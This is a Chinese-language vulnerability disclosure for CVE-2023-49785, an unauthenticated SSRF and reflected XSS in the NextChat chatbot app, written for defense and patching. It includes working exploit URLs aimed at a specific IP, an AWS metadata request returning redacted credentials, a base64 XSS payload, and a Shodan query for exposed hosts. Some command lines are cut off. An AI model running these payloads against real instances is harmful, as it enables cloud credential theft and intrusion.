随着生成式人工智能的出现,人工智能聊天机器人无处不在。虽然用户可以使用 OpenAI 等 SaaS 提供商与大语言模型 (LLM) 聊天,但也有许多独立的聊天机器人应用程序可供用户部署和使用。这些独立应用程序通常提供比 OpenAI 更丰富的用户界面、附加功能,例如插入和测试不同模型的能力,以及潜在绕过 IP 块限制的能力。
根据我们的研究,部署最广泛的独立 Gen AI 聊天机器人是NextChat,又名 ChatGPT-Next-Web。这是一个拥有 63K+ 星和 52K+ 分叉的 GitHub 项目。Shodan 查询 title:NextChat,"ChatGPT Next Web"提取了 7500 多个暴露实例,其中大部分位于中国和美国。
此应用程序容易受到严重的全读服务器端请求伪造 (SSRF) 漏洞CVE-2023-49785的影响,我们于 2023 年 11 月向供应商披露了该漏洞。截至撰写本文时,还没有针对该漏洞的补丁。自我们最初披露以来已经过去了 90 多天,我们现在在此发布完整的详细信息。
SSRF + XSS
SSRF
http://13.114.69.93:8000/api/cors/http:%2f%2f169.254.169.254/latest/meta-data/hostname%23
alscwakcnm.dgrh3.cn
http://13.114.69.93:8000/api/cors/http:%2f%2falscwakcnm.dgrh3.cn%23
XSS
http://13.114.69.93:8000/api/cors/data:text%2fhtml;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+%23
SSRF + XSS
CVE-2023-49785:超级 SSRF
NextChat 是一个基于 Next.js 的 Javascript 应用程序,其大部分功能都是作为客户端代码实现的。
然而,有一些暴露的服务器端点。这些端点之一位于/api/cors,它按照设计作为开放代理运行,允许未经身份验证的用户通过它发送任意 HTTP 请求。添加此端点似乎是为了支持将客户端聊天数据保存到 WebDAV 服务器。此端点的存在是一种反模式:它允许客户端通过服务器端端点访问跨域资源,从而绕过内置的浏览器保护。
例如,要通过此代理访问 Google,可以发出以下请求:
SSRF 漏洞在现实世界的影响方面差异很大。这个特殊的 SSRF 几乎是最糟糕的。这很危险,因为:
如果此应用程序暴露在 Internet 上,则攻击者基本上可以完全访问与该应用程序在同一内部网络中可访问的任何其他 HTTP 资源。唯一的限制是传递其他标头,例如Cookie或Content-Type,尽管可能有创造性的方法来注入这些标头。
以下是访问 AWS 云元数据服务以从启用了 IMDSv1 的 AWS EC2 实例检索 AWS 访问密钥的示例:
sh-3.2# curl http:
{
"Code" : "Success",
"LastUpdated" : "2024-03-08T00:22:17Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIA-REDACTED",
"SecretAccessKey" : "C2CW-REDACTED",
"Token" : "IQoJb3JpZ2luX2VjENH-REDACTED",
"Expiration" : "2024-03-08T06:58:15Z"
}
反射型 XSS
几乎所有反映的 XSS 漏洞对攻击者来说价值不大。但我们认为有趣的是,该漏洞可用于直接触发 XSS,而无需加载其他站点。这是因为端点fetch使用的方法/api/cors也支持该data协议。
例如,以下有效负载:
data:text%2fhtml;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+%23
<script>alert(document.domain)script>
将在服务器处解码并发送回客户端,从而导致 XSS:
缓解措施
我们对此漏洞的评估得出的 CVE 基本评分为9.1(严重)。该漏洞不仅允许对内部 HTTP 端点进行读取访问,还允许使用 HTTP POST、PUT 和其他方法进行写入访问。攻击者还可以利用此漏洞通过这些开放代理转发针对其他互联网目标的恶意流量,从而掩盖其源 IP。
截至撰写本文时,还没有针对该漏洞的补丁。距离我们最初的联系已经过去了 90 多天。